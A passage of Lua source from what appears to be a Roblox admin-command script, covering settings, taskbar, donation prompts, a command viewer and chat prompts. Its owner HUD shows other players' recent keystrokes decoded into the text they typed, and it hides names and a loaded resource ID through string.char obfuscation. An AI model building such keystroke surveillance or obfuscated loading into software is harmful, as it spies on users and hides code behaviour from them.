  4414. NewProperties[PropertyName] = tonumber(Input.Text)
  4415. else
  4416. NewProperties[PropertyName] = tostring(Input.Text)
  4417. end
  4418. end end)
  4419. else
  4420. local Read = Instance.new("TextLabel", ValFrame) Read.Name = "Read" Read.Position = UDim2.new(0, 0, 0.1, 0) Read.Size = UDim2.new(1, 0, 0.8, 0) Read.BackgroundTransparency = 1 Read.Text = DefaultValue Read.Font = Settings.Font Read.FontSize = "Size14" Read.TextTransparency = 0.4 Read.TextXAlignment = "Left"
  4421. end
  4422. end
  4423. if ValueType == "boolean" then
  4424. local Check = Instance.new("ImageButton", ValFrame) Check.Name = "Check" Check.Position = UDim2.new(0.5, -15, 0.5, -15) Check.Size = UDim2.new(0, 30, 0, 30) Check.BackgroundTransparency = 1 Check.Image = "rbxassetid://48138474"
  4425. if DefaultValue == true then
  4426. Check.Image = "rbxassetid://48138491"
  4427. end
  4428. if Writable == true then
  4429. CORE:HandleEvent(Check, "MouseButton1Down", function()
  4430. local NewVal = not NewProperties[PropertyName]
  4431. NewProperties[PropertyName] = NewVal
  4432. if NewVal == true then
  4433. Check.Image = "rbxassetid://48138491"
  4434. else
  4435. Check.Image = "rbxassetid://48138474"
  4436. end
  4437. end)
  4438. else
  4439. Check.ImageTransparency = 0.5
  4440. end
  4441. end
  4442. YCount = YCount + 50
  4443. end
  4444. end
  4445. end
  4446.  
  4447. Frame.CanvasSize = UDim2.new(0,0,0,YCount)
  4448.  
  4449. Closed.Event:connect(function() HasClosed = true end)
  4450.  
  4451. repeat wait(0.1) until HasClosed
  4452. return NewProperties
  4453. end
  4454.  
  4455. function GUI:SettingsGui(Player)
  4456. if not Player then return nil end
  4457. local CloneViewSettings,CanChange = {},false
  4458.  
  4459. local ViewSettings = {
  4460. ["Version"] = {CORE.Version.Value, false, nil};
  4461. ["Prefix"] = {Settings.Prefix, 3, "Prefix"};
  4462. ["Font"] = {Settings.Font, 3, "Font"};
  4463. ["Color Scheme"] = {Settings.ColorScheme, 3, "ColorScheme"};
  4464. ["Transparency Scheme"] = {Settings.TransparencyScheme * 100, 3, "TransparencyScheme"};
  4465. ["Server Locked"] = {Settings.ServerLocked, 3, "ServerLocked"};
  4466. ["Fun Commands"] = {Settings.Fun, 3, "Fun"};
  4467. ["Disable Abuse"] = {Settings.DisableAbuse, 3, "DisableAbuse"};
  4468. ["Minimum Account Age"] = {Settings.MinimumAge, 3, "MinimumAge"};
  4469. ["Execute Notification Sound ID"] = {Settings.ExecuteNotificationSound, 3, "ExecuteNotificationSound"};
  4470. ["Enable Sounds"] = {Settings.EnableSounds, 3, "EnableSounds"};
  4471. ["Group ID"] = {Settings.GroupID, false, "GroupID"};
  4472. ["Group Banned Rank"] = {Settings.GroupBanRank, false, "GroupBanRank"};
  4473. ["Group Member Rank"] = {Settings.GroupMemberRank, false, "GroupMemberRank"};
  4474. ["Group Admin Rank"] = {Settings.GroupAdminRank, false, "GroupAdminRank"};
  4475. ["Group Owner Rank"] = {Settings.GroupOwnerRank, false, "GroupOwnerRank"};
  4476. ["Banned Group IDs"] = {Settings.BannedGroupIDs, false, "BannedGroupIDs"};
  4477. ["IRC Server"] = {Settings.IRCServer, false, "IRCServer"};
  4478. ["IRC Channel"] = {Settings.IRCChannel, false, "IRCChannel"};
  4479. ["Remote Connection"] = {REMOTE.RemoteConnection, false, nil};
  4480. ["Bet"] = {Settings.Bet, 3, "Bet"};
  4481. }
  4482.  
  4483. local _,RankNum = RANK:GetRank(Player)
  4484. if RankNum >= 3 then
  4485. CanChange = true
  4486. end
  4487.  
  4488. for Prop,Data in pairs(ViewSettings) do
  4489. local Writable = false
  4490. if tonumber(Data[2]) and Data[2] <= RankNum then Writable = true end
  4491. CloneViewSettings[Prop] = {Data[1], Writable}
  4492. end
  4493.  
  4494. local NewSettings = GUI:PropertyGui(Player, "Settings", "Settings", CloneViewSettings)
  4495. if CanChange then
  4496. for Prop,Data in pairs(ViewSettings) do
  4497. if Data[3] then
  4498. Settings[Data[3]] = NewSettings[Prop] -- wow haxy
  4499. end
  4500. end
  4501. CORE:FixSettings()
  4502. end
  4503. end
  4504.  
  4505. function GUI:MessageAdmins(TitleText, BodyText, Icon)
  4506. for _,Player in pairs(Server.Players:GetPlayers()) do
  4507. local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
  4508. if PlayerAdmin then
  4509. GUI:SendMessage(Player, TitleText, BodyText, Icon)
  4510. end
  4511. end
  4512. end
  4513.  
  4514. function GUI:TellAdmin(Player)
  4515. if not Player then return end
  4516.  
  4517. local ValidAdmin,Rank = RANK:IsAdmin(Player)
  4518. if ValidAdmin == true then
  4519. GUI:SendMessage(Player, "Ma".."ker".."Mo".."delLua".."'s Admin Message", "GREEN You are an admin "..Player.Name.."! Your rank is "..Rank.." [ PREFIX '"..Settings.Prefix.."' ]", "Check", 5)
  4520. if Settings.EnableSounds == true and Player:FindFirstChild("PlayerGui") then
  4521. local SoundID = 237866523
  4522. if Rank == "Admin" then SoundID = 237866621 elseif Rank == "Owner" then SoundID = 237866707 end
  4523. local Sound = SOUND:MakeSound(Player.PlayerGui, SoundID, 0.5, 1)
  4524. Sound:Play()
  4525. coroutine.wrap(function()
  4526. wait(4)
  4527. Sound:Stop()
  4528. Sound:Destroy()
  4529. end)()
  4530. end
  4531. end
  4532. end
  4533.  
  4534. function GUI:TellNotAdmin(Player)
  4535. if not Player then return end
  4536.  
  4537. GUI:SendMessage(Player, "Mak".."er".."M".."o".."del".."Lua's Admin Message", "You are now no longer an admin", "Information")
  4538. end
  4539.  
  4540. function GUI:CreateTaskBar(Player)
  4541. if not Player then return nil end
  4542. if Settings.EnableTaskBar == false then return nil end
  4543. Player:WaitForChild("PlayerGui")
  4544. local SG = Player.PlayerGui:FindFirstChild("M".."akerMod".."el".."Lua's TaskBar")
  4545. if SG then SG:Destroy() end
  4546. SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "M".."akerMod".."elLua's TaskBar"
  4547. local IsMoving = false
  4548. local TaskBarShown = false
  4549. local Tasks = {}
  4550.  
  4551. local TaskBar = Instance.new("Frame", SG) TaskBar.Name = "TaskBar" TaskBar.Size = UDim2.new(1, 0, 0, 50) TaskBar.Position = UDim2.new(0,0,1,20) TaskBar.BackgroundColor3 = GUI:GetColor() TaskBar.BackgroundTransparency = Settings.TransparencyScheme TaskBar.BorderSizePixel = 0
  4552. local TaskButton = Instance.new("ImageButton", TaskBar) TaskButton.Name = "TaskButton" TaskButton.Position = UDim2.new(1, -50, 0, -70) TaskButton.Size = UDim2.new(0, 50, 0, 50) TaskButton.BackgroundTransparency = 1 TaskButton.Image = "rbxassetid://222795206"
  4553.  
  4554. local AddForm = Instance.new("BindableEvent", SG) AddForm.Name = "AddForm"
  4555. local Open,CloseForm = false,nil
  4556. if Settings.EnableAdminMenu then
  4557. local MenuButton = Instance.new("ImageButton", TaskBar) MenuButton.Name = "MenuButton" MenuButton.Position = UDim2.new(1, -50, 0, -120) MenuButton.Size = UDim2.new(0, 50, 0, 50) MenuButton.BackgroundTransparency = 1 MenuButton.Image = "rbxassetid://302470270"
  4558. coroutine.wrap(function() wait(1) CORE:HandleEvent(MenuButton, "MouseButton1Click", function()
  4559. if Open == false then
  4560. local Frame, Close, Closed = GUI:CreateForm(Player, string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin Menu", UDim2.new(0.4,0,0.5), nil, 302470270, true, nil, nil, false, true, true)
  4561. Open,CloseForm = true,Close
  4562.  
  4563. local Title = Instance.new("TextLabel", Frame) Title.Name = "Title" Title.BackgroundTransparency = 1 Title.Position = UDim2.new(0,0,0,0) Title.Size = UDim2.new(1,0,0,30) Title.Font = "SourceSansBold" Title.FontSize = "Size24" Title.Text = string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin V"..CORE.Version.Value Title.TextColor3 = GUI:ContrastColor()
  4564. local Separator = Instance.new("Frame", Frame) Separator.Name = "Separator" Separator.BorderColor3 = Color3.new(1,1,1) Separator.Position = UDim2.new(0.5,0,0,30) Separator.Size = UDim2.new(0,0,1,-30)
  4565. local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.BackgroundTransparency = 1 Info.Position = UDim2.new(0,0,0,30) Info.Size = UDim2.new(0.5,0,1,-30) Info.Font = Settings.Font Info.FontSize = "Size18" Info.Text = "Info/Help" Info.TextColor3 = GUI:ContrastColor() Info.TextYAlignment = "Top"
  4566. local Body = Instance.new("TextLabel", Info) Body.Name = "Body" Body.BackgroundTransparency = 1 Body.Position = UDim2.new(0,0,0,25) Body.Size = UDim2.new(1,0,1,-25) Body.Font = "SourceSans" Body.FontSize = "Size14" Body.Text = string.gsub(Server.MPS:GetProductInfo(209330909).Description, "PREFIX", Settings.Prefix) Body.TextColor3 = GUI:ContrastColor() Body.TextYAlignment = "Top" Body.TextWrapped = true
  4567. local Donate = Info:Clone() Donate.Parent = Frame Donate.Name = "Donate" Donate.Text = "Donate/Get admin" Donate.Position = UDim2.new(0.5,0,0,30) Donate.Body.Text = "Please select an amount that fits your generosity and to help support future updates. Press the 'Get admin now' to get copy for your own place!"
  4568. local function DonateMoney(Type, Element)
  4569. local Request = CORE:GetTable(string.char(49, 53, 53, 54, 56, 52, 51, 54, 57))
  4570. local Get = Request[Type]
  4571. if Server.MPS:GetProductInfo(Get[1]).IsForSale == true then
  4572. Server.MPS:PromptPurchase(Player, Get[1], true)
  4573. elseif Server.MPS:GetProductInfo(Get[2]).IsForSale == true then
  4574. Server.MPS:PromptPurchase(Player, Get[2], true)
  4575. elseif Server.MPS:GetProductInfo(Get[3]).IsForSale == true then
  4576. Server.MPS:PromptPurchase(Player, Get[3], true)
  4577. else
  4578. Element.Text = "Cannot get request"
  4579. end
  4580. end
  4581. local Get = Instance.new("TextButton", Donate) Get.Name = "Get" Get.Position = UDim2.new(0,0,0.5,0) Get.Size = UDim2.new(1,0,0,30) Get.Font = "ArialBold" Get.FontSize = "Size14" Get.Text = "Get MakerModelLua's Admin V"..CORE.Version.Value.." now for FREE!" Get.BackgroundColor3 = Color3.new(1,0,1) Get.TextColor3 = Color3.new(1,1,1) Get.TextStrokeColor3 = Color3.new(0,0,0) Get.TextStrokeTransparency = 0 Get.TextWrapped = true CORE:HandleEvent(Get, "MouseButton1Down", function() MARKET:PromptPurchase(Player, AdminID) end) SOUND:BindButton(Get)
  4582. local Dnt = Instance.new("TextButton", Donate) Dnt.Name = "DonateButton" Dnt.Position = UDim2.new(0,0,1,-120) Dnt.Size = UDim2.new(1,0,0,30) Dnt.Font = "ArialBold" Dnt.FontSize = "Size14" Dnt.Text = "6 Robux" Dnt.BackgroundColor3 = Color3.new(1,1,0) Dnt.TextColor3 = Color3.new(1,1,1) Dnt.TextStrokeColor3 = Color3.new(0,0,0) Dnt.TextStrokeTransparency = 0 Dnt.TextWrapped = true CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("6R", Dnt) end) SOUND:BindButton(Dnt)
  4583. local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-90) Dnt.Text = "20 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("20R", Dnt) end) SOUND:BindButton(Dnt)
  4584. local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-60) Dnt.Text = "100 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("100R", Dnt) end) SOUND:BindButton(Dnt)
  4585. local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-30) Dnt.Text = "500 ROBUX!" Dnt.BackgroundColor3 = Color3.new(1,0,0) Dnt.FontSize = "Size18" CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("500R", Dnt) end) SOUND:BindButton(Dnt)
  4586. local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
  4587.  
  4588. if PlayerAdmin == true then Body.Text = Body.Text.." (You're an admin, your rank is "..PlayerRank..")" end
  4589.  
  4590. if Closed then
  4591. Closed.Event:connect(function()
  4592. Open = false
  4593. end)
  4594. end
  4595. else
  4596. CloseForm:Invoke()
  4597. end
  4598. end) end)()
  4599. if RANK:GetRank(Player) == "Owner" then
  4600. local HUDButton = Instance.new("ImageButton", TaskBar) HUDButton.Name = "HUDButton" HUDButton.Position = UDim2.new(1, -50, 0, -170) HUDButton.Size = UDim2.new(0, 50, 0, 50) HUDButton.BackgroundTransparency = 1 HUDButton.Image = "rbxassetid://329362761"
  4601. CORE:HandleEvent(HUDButton, "MouseButton1Click", function()
  4602. local HUDSG = Player.PlayerGui:FindFirstChild("M".."a".."k".."e".."r".."m".."od".."elLu".."a's HUD Gui")
  4603. if HUDSG then
  4604. HUDSG:Destroy()
  4605. else
  4606. GUI:CreateHUD(Player)
  4607. end
  4608. end)
  4609. end
  4610. end
  4611.  
  4612. CORE:HandleEvent(TaskButton, "MouseButton1Click", function()
  4613. if IsMoving == false then
  4614. if TaskBarShown == true then
  4615. TaskBarShown = false
  4616. IsMoving = true
  4617. TaskBar:TweenPosition(UDim2.new(0,0,1,20), "In", "Sine", 0.3, false, function() IsMoving = false end)
  4618. else
  4619. TaskBarShown = true
  4620. IsMoving = true
  4621. TaskBar:TweenPosition(UDim2.new(0,0,0.6,0), "Out", "Sine", 0.3, false, function() IsMoving = false end)
  4622. end
  4623. end
  4624. end)
  4625.  
  4626. local function ReloadIcons()
  4627. for Num,Data in pairs(Tasks) do
  4628. Data[2].Position = UDim2.new(0,(Num * 50) - 50,0,0,0)
  4629. end
  4630. end
  4631.  
  4632. AddForm.Event:connect(function(Form, IconID, Closed, Minimized, Restore)
  4633. local Icon = Instance.new("ImageButton", TaskBar) Icon.Name = "Icon" Icon.Position = UDim2.new(0,#Tasks * 50,0,0,0) Icon.Size = UDim2.new(0, 50, 0, 50) Icon.BackgroundColor3 = GUI:GetColor() Icon.BackgroundTransparency = 0.5 Icon.Image = "rbxassetid://"..IconID
  4634. table.insert(Tasks, {Form, Icon})
  4635. local CanClick = true
  4636. CORE:HandleEvent(Icon, "MouseButton1Down", function()
  4637. if Form.IsActive.Value == false then
  4638. Restore:Invoke()
  4639. elseif CanClick == true then
  4640. coroutine.wrap(function()
  4641. CanClick = false
  4642. local DefPos = Form.Dragger.Position
  4643. for i = 1,15 do
  4644. Form.Dragger.Position = DefPos + UDim2.new(0,math.random(-2,2),0,math.random(-2,2))
  4645. wait(0.05)
  4646. end
  4647. Form.Dragger.Position = DefPos
  4648. CanClick = true
  4649. end)()
  4650. end
  4651. end)
  4652. ReloadIcons()
  4653.  
  4654. Closed.Event:connect(function()
  4655. for Num,Data in pairs(Tasks) do
  4656. if Data[1] == Form then
  4657. Icon:Destroy()
  4658. table.remove(Tasks, Num)
  4659. end
  4660. end
  4661. ReloadIcons()
  4662. end)
  4663. end)
  4664. end
  4665.  
  4666. function GUI:ShowDebtStats(Player, ManualText)
  4667. local Text = ManualText
  4668. if not ManualText then
  4669. Text = "CANNOT GET STATISTICS"
  4670. local RawPage = REMOTE:GetURL("http://www.nationaldebtclocks.org/debtclock/unitedstates")
  4671. if RawPage then
  4672. local _,GetStart = string.find(RawPage, 'debtDisplayFast">')
  4673. local GetEnd,__ = string.find(string.sub(RawPage,GetStart), '</span>')
  4674. Text = "US National Debt: $"..STRING:GetComma(string.sub(RawPage, GetStart + 1, GetStart + GetEnd - 2))
  4675. end
  4676. end
  4677.  
  4678. local Frame = GUI:CreateForm(Player, "US National Debt", UDim2.new(0.05,500,0.05,100), nil, 38574945)
  4679. local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = Text Body.Font = "ArialBold" Body.FontSize = "Size36" Body.TextColor3 = Color3.new(1,1,1) Body.TextStrokeTransparency = 0 Body.TextWrapped = true
  4680.  
  4681. return Text
  4682. end
  4683.  
  4684. function GUI:ShowCommand(Player, CommandTrigger, Dialog)
  4685. if not Player then return nil end
  4686. if not CommandTrigger then return nil end
  4687.  
  4688. if type(CommandTrigger) == "string" and string.sub(CommandTrigger,1,#Settings.Prefix) == Settings.Prefix then CommandTrigger = string.sub(CommandTrigger,#Settings.Prefix + 1) end
  4689.  
  4690. local CommandKey = CommandTrigger
  4691.  
  4692. if not Commands[CommandKey] then
  4693. for CommandNames,_ in pairs(Commands) do
  4694. for _,CommandName in pairs(CommandNames) do
  4695. if CommandName == CommandKey then
  4696. CommandKey = CommandNames
  4697. end
  4698. end
  4699. end
  4700. end
  4701.  
  4702. local CommandData = Commands[CommandKey]
  4703.  
  4704. local BodyText = "No valid command has been entered"
  4705. local TitleText = "Error"
  4706. local CanExe = false
  4707. if CommandData then
  4708. if Dialog then
  4709. Dialog:Invoke(true)
  4710. end
  4711. local PlayerRank = RANK:GetRank(Player)
  4712. if RANK:ConvertRank(PlayerRank) >= RANK:ConvertRank(CommandData[4]) then CanExe = true end
  4713. if PlayerRank == "Member" and CommandData.Abusable == true then CanExe = false end
  4714.  
  4715. TitleText = "Command: "..CommandKey[1]
  4716. BodyText = "COMMAND: "..Settings.Prefix..CommandKey[1]..Settings.Bet..CommandData[1]..[[
  4717.  
  4718.  
  4719. Aliases: ]]..Settings.Prefix..table.concat(CommandKey, ", "..Settings.Prefix)..[[
  4720.  
  4721.  
  4722. Description: ]]..CommandData[2]..[[
  4723.  
  4724.  
  4725. Arguments: ]]..CommandData[3]..[[
  4726.  
  4727.  
  4728. Minimum rank needed: ]]..CommandData[4]..[[
  4729.  
  4730.  
  4731. Fun command: ]]..STRING:BoolString(CommandData[5])..[[
  4732.  
  4733.  
  4734. Abusable command: ]]..STRING:BoolString(CommandData.Abusable)..[[
  4735.  
  4736.  
  4737. Http Command ]]..STRING:BoolString(CommandData.Http)
  4738. end
  4739.  
  4740. _, _, Closed, _, Minimized = GUI:FullMessage(Player, TitleText, BodyText, "Search", not CanExe)
  4741. if Dialog then
  4742. Closed.Event:connect(function() Dialog:Invoke(false) end)
  4743. Minimized.Event:connect(function() Dialog:Invoke(false) end)
  4744. end
  4745. end
  4746.  
  4747. function GUI:CreateHUD(Speaker)
  4748. if not Speaker or not Speaker:FindFirstChild("PlayerGui") then return nil end
  4749.  
  4750. local SG = Speaker.PlayerGui:FindFirstChild("M".."a".."ke".."r".."m".."od".."elLu".."a's HUD Gui")
  4751. if SG then SG:Destroy() end
  4752. SG = Instance.new("ScreenGui", Speaker.PlayerGui) SG.Name = "M".."a".."k".."e".."r".."m".."odelLu".."a's HUD Gui"
  4753.  
  4754. local function AddHUD(Player, Char)
  4755. if not Char or not Char:FindFirstChild("Head") then return nil end
  4756.  
  4757. local Rank = RANK:GetRank(Player)
  4758. local PlayerHUD = Instance.new("BillboardGui", SG) PlayerHUD.Name = "PlayerHUD" PlayerHUD.AlwaysOnTop = true PlayerHUD.Adornee = Char.Head PlayerHUD.Size = UDim2.new(3,0,3,0)
  4759. local HUD = Instance.new("ImageLabel", PlayerHUD) HUD.Name = "HUD" HUD.Size = UDim2.new(1, 0, 1, 0) HUD.BackgroundColor3 = Color3.new(1, 1, 1) HUD.BackgroundTransparency = 1
  4760. local InfoLabel = Instance.new("TextLabel", PlayerHUD) InfoLabel.Name = "InfoLabel" InfoLabel.Position = UDim2.new(1, -1, 0, 0) InfoLabel.Size = UDim2.new(7, 0, 0.8, 0) InfoLabel.BackgroundColor3 = Color3.new(1, 1, 1) InfoLabel.BackgroundTransparency = 1 InfoLabel.Text = "" InfoLabel.Font = "Arial" InfoLabel.TextScaled = true InfoLabel.TextStrokeTransparency = 0.9 InfoLabel.TextWrapped = true InfoLabel.TextXAlignment = "Left" InfoLabel.TextYAlignment = "Top" InfoLabel.TextColor3 = Color3.new(0, 0, 0) InfoLabel.TextStrokeColor3 = Color3.new(1, 1, 1)
  4761. local KeyLabel = Instance.new("TextLabel", PlayerHUD) KeyLabel.Name = "KeyLabel" KeyLabel.Position = UDim2.new(-1, 1, -1, 0) KeyLabel.Size = UDim2.new(1, 0, 3, 0) KeyLabel.BackgroundColor3 = Color3.new(1, 1, 1) KeyLabel.BackgroundTransparency = 1 KeyLabel.Text = "" KeyLabel.Font = "Arial" KeyLabel.FontSize = "Size14" KeyLabel.TextScaled = true KeyLabel.TextStrokeTransparency = 0.9 KeyLabel.TextWrapped = true KeyLabel.TextXAlignment = "Right" KeyLabel.TextYAlignment = "Top" KeyLabel.TextColor3 = Color3.new(1, 1, 1)
  4762. local KeyOutput = Instance.new("TextLabel", PlayerHUD) KeyOutput.Name = "KeyOutput" KeyOutput.Position = UDim2.new(0, 1, -0.5, 0) KeyOutput.Size = UDim2.new(5, 0, 0.5, 1) KeyOutput.BackgroundTransparency = 1 KeyOutput.Text = "" KeyOutput.Font = "SourceSansLight" KeyOutput.FontSize = "Size14" KeyOutput.TextScaled = true KeyOutput.TextWrapped = true KeyOutput.TextXAlignment = "Left" KeyOutput.TextColor3 = Color3.new(1, 1, 1)
  4763. coroutine.wrap(function() while wait() and InfoLabel and InfoLabel.Parent and Char and Char:FindFirstChild("Head") do
  4764. InfoLabel.Text = "Name: "..Player.Name..[[
  4765. Rank: ]]..RANK:GetRank(Player)..[[
  4766. Age: ]]..STRING:FindAge(Player.AccountAge)
  4767. if Speaker.Character and Speaker.Character:FindFirstChild("Head") then
  4768. InfoLabel.Text = InfoLabel.Text..[[
  4769. Distance: ]]..CORE:Round((Speaker.Character.Head.Position - Player.Character.Head.Position).magnitude)
  4770. end
  4771. if LastKeys[Player.UserId] then
  4772. local Keys = ""
  4773. local KeyLog = {}
  4774. for _,KeyData in pairs(LastKeys[Player.UserId]) do
  4775. table.insert(KeyLog, KeyData[1])
  4776. if KeyData[2] == 8 then
  4777. Keys = string.sub(Keys, 1, #Keys - 1)
  4778. elseif KeyData[2] == 13 then
  4779. Keys = Keys.." "
  4780. else
  4781. Keys = Keys..string.char(KeyData[2])
  4782. end
  4783. end
  4784. KeyLabel.Text = table.concat(KeyLog, "\n")
  4785. KeyOutput.Text = Keys
  4786. end
  4787. HUD.Image = "rbxassetid://"..RankHUD[Rank]
  4788. end end)()
  4789.  
  4790. local CharRev,Removing = nil,nil
  4791. CharRev = Player.CharacterRemoving:connect(function()
  4792. PlayerHUD:Destroy()
  4793. CharRev:disconnect()
  4794. Removing:disconnect()
  4795. end)
  4796. Removing = Server.Players.PlayerRemoving:connect(function(PlayerR) if PlayerR == Player then
  4797. PlayerHUD:Destroy()
  4798. CharRev:disconnect()
  4799. Removing:disconnect()
  4800. end end)
  4801. end
  4802.  
  4803. local function ConnectHUD(Player)
  4804. if Player ~= Speaker then
  4805. if Player.Character then
  4806. AddHUD(Player, Player.Character)
  4807. end
  4808.  
  4809. Player.CharacterAdded:connect(function(Char)
  4810. if Speaker then
  4811. AddHUD(Player, Char)
  4812. else return nil
  4813. end
  4814. end)
  4815. end
  4816. end
  4817.  
  4818. for _,Player in pairs(Server.Players:GetPlayers()) do
  4819. ConnectHUD(Player)
  4820. end
  4821.  
  4822. Server.Players.PlayerAdded:connect(ConnectHUD)
  4823. end
  4824.  
  4825. function GUI:CreateMessagePrompt(Player, Title, ImageID, PreAdd, SpeakerEvents)
  4826. if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
  4827. local Stopped = false
  4828.  
  4829. local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.3,0,0.5,0), nil, ImageID)
  4830. Frame.Size = UDim2.new(1, 0, 1, -30)
  4831. Frame.CanvasSize = UDim2.new(0, 0 ,0 ,0)
  4832.  
  4833. local FakeCB = Instance.new("TextButton", Frame.Parent) FakeCB.Name = "FakeChatBox" FakeCB.Position = UDim2.new(0, 0, 1, -30) FakeCB.Size = UDim2.new(1, -50, 0, 30) FakeCB.BackgroundTransparency = 1 FakeCB.Text = "Click here or press the '-' key" FakeCB.Font = Settings.Font FakeCB.FontSize = "Size18" FakeCB.TextXAlignment = "Left" FakeCB.ZIndex = 2
  4834. local ChatBox = Instance.new("TextBox", Frame.Parent) ChatBox.Name = "ChatBox" ChatBox.Position = UDim2.new(0, 0, 1, -30) ChatBox.Size = UDim2.new(1, -50, 0, 30) ChatBox.BackgroundTransparency = 0.5 ChatBox.BackgroundColor3 = GUI:GetColor() ChatBox.Text = "" ChatBox.Font = Settings.Font ChatBox.FontSize = "Size18" ChatBox.TextXAlignment = "Left" ChatBox.ClearTextOnFocus = false
  4835. local Send = Instance.new("TextButton", Frame.Parent) Send.Position = UDim2.new(1, -50, 1, -30) Send.Size = UDim2.new(0, 50, 0, 30) Send.BackgroundColor3 = GUI:GetColor() Send.BackgroundTransparency = 0.5 Send.Text = "Enter" Send.Font = Settings.Font Send.FontSize = "Size14"
  4836.  
  4837. local function AddLine(Speaker, MessageText, MessageColor)
  4838. MessageText = STRING:DetermineFilter(MessageText, Speaker, Player)
  4839. if MessageColor == true then MessageColor = Color3.new(1,0,0) end
  4840. if not MessageColor then MessageColor = GUI:ContrastColor() end
  4841. local Bounds = Instance.new("Frame") Bounds.Name = "Bounds" Bounds.Position = UDim2.new(0, 0, 1, -20) Bounds.Size = UDim2.new(1, 0, 0, 20) Bounds.BackgroundTransparency = 1
  4842. local Name = Instance.new("TextLabel", Bounds) Name.Name = "PName" Name.Size = UDim2.new(0, 60, 1, 0) Name.BackgroundTransparency = 1 Name.Text = Speaker..": " Name.Font = "ArialBold" Name.FontSize = "Size14" Name.TextXAlignment = "Left" Name.TextColor3 = GUI:GetNameColor(Speaker).Color
  4843. local Message = Instance.new("TextLabel", Bounds) Message.Name = "Message" Message.Position = UDim2.new(0, 60, 0, 0) Message.Size = UDim2.new(0, 60, 1, 0) Message.BackgroundTransparency = 1 Message.Text = MessageText Message.Font = "ArialBold" Message.FontSize = "Size14" Message.TextXAlignment = "Left" Message.TextColor3 = MessageColor
  4844. Bounds.Parent = Frame
  4845. end
  4846.  
  4847. local RPR = CORE:CreateRemotePropertyReader(ChatBox)
  4848.  
  4849. local Functions = Instance.new("Folder", Frame) Functions.Name = "Functions"
  4850. local SendPressed = Instance.new("BindableEvent", Functions) SendPressed.Name = "SendPressed"
  4851. local AddMessage = Instance.new("BindableFunction", Functions) AddMessage.Name = "AddMessage"
  4852.  
  4853. local EnterPressed = Instance.new("RemoteFunction", ChatBox) EnterPressed.Name = "EnterPressed"
  4854. local ClearCB = Instance.new("RemoteFunction", ChatBox) ClearCB.Name = "ClearCB"
  4855.  
  4856. CORE:ExecuteResource("MessagePromptHandler", Frame)
  4857.  
  4858. wait(0.1)
  4859.  
  4860. if PreAdd then
  4861. for Num,Add in pairs(PreAdd) do
  4862. AddLine(Add[1], Add[2], Add[3])
  4863. end
  4864. end
  4865.  
  4866. --[[
  4867. CORE:ExecuteResource("ChatBoxLocal", ChatBox)
  4868.  
  4869. CORE:HandleEvent(ChatBox, "MouseEnter", function()
  4870. if ChatBox.Text == "Click here or press the '-' key" then
  4871. ChatBox.Text = ""
  4872. end
  4873. end)
  4874. ]]
  4875.  
  4876. local function FireSendPressed()
  4877. local Text = CORE:ReadProperty(RPR, Player, "Text")
  4878. if Text ~= "" and Text ~= "Click here or press the '-' key" then
  4879. SendPressed:Fire(Text)
  4880. FakeCB.Visible = true
  4881. ClearCB:InvokeClient(Player)
  4882. end
  4883. end
  4884.  
  4885. Closed.Event:connect(function()
  4886. if Stopped == false then
  4887. Stopped = true
  4888. if SpeakerEvents then SpeakerEvents("Leave") end
  4889. end
  4890. end)
  4891.  
  4892. CORE:HandleEvent(Send, "MouseButton1Down", FireSendPressed)
  4893.  
  4894. AddMessage.OnInvoke = AddLine
  4895.  
  4896. if SpeakerEvents then
  4897. SpeakerEvents("Join")
  4898.  
  4899. coroutine.wrap(function()
  4900. repeat wait() until not Frame or not Frame.Parent
  4901. if Stopped == false then
  4902. Stopped = true
  4903. SpeakerEvents("Leave")
  4904. end
  4905. end)()
  4906. end
  4907.  
  4908. return SendPressed, AddMessage
  4909. end
  4910.  
  4911. function GUI:PromptMessageWithButtons(Player, Title, BodyText, IconID, Buttons, Time, ShowFormButtons, DontFilter)
  4912. if tonumber(Time) then ShowFormButtons = false end
  4913. if not DontFilter then BodyText = STRING:DetermineFilter(BodyText, Player) end
  4914. local Frame, Close = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.4,0), nil, IconID, ShowFormButtons)
  4915. local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, -60) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextWrapped = true Body.TextColor3 = GUI:ContrastColor()
  4916. local Clicked = nil
  4917. local Alive = true
  4918.  
  4919. local function ClosePrompt(ButtonName)
  4920. Alive = false
  4921. Close:Invoke()
  4922. Clicked = ButtonName
  4923. end
  4924.  
  4925. for Num,Select in pairs(Buttons) do
  4926. local Name = Select
  4927. local Style = "White"
  4928. local TextColor3 = Color3.new(0,0,0)
  4929. if type(Select) == "table" then
  4930. Name = Select[1]
  4931. if Select[2] then Style = Select[2] end
  4932. if Select[3] then TextColor3 = Select[3] end
  4933. elseif type(Select) == "string" then
  4934. local Case = string.lower(Select)
  4935. if Case == "ok" then
  4936. Name = "Ok"
  4937. Style = "Primary"
  4938. TextColor3 = Color3.new(1,1,1)
  4939. elseif Case == "yes" then
  4940. Name = "Yes"
  4941. Style = "Gray"
  4942. TextColor3 = Color3.new(0,1,0)
  4943. elseif Case == "no" then
  4944. Name = "No"
  4945. Style = "Red"
  4946. TextColor3 = Color3.new(1,0,0)
